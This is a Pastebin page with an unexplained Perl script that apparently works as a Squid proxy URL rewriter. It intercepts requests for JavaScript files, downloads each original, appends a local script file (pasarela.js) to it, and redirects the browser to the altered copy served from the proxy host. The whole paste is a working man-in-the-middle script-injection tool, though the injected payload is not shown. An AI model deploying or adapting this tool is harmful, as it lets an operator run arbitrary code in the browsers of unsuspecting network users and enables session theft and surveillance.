Advertisement
Guest User

Untitled

a guest
Dec 15th, 2017
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.40 KB | None | 0 0
  1. $ |= 1;
  2. $count = 0;
  3. $pid = $$;
  4.  
  5. while (<>)
  6. {
  7. chomp $_;
  8. if ($_ =~ /(.*\.js)/i)
  9. {
  10. $url = $1;
  11. system("/usr/bin/wget", "-q", "-O", "/var/www/tmp/$pid-$count.js", "$url");
  12. system("chmod o+r /var/www/tmp/$pid-$count.js");
  13. system("cat /etc/squid/pasarela.js >> /var/www/tmp/$pid-$count.js");
  14. print "http://127.0.0.1:80/tmp/$pid-$count.js\n";
  15. }
  16. else
  17. {
  18. print "$_\n";
  19. }
  20.  
  21. $count++;
  22. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement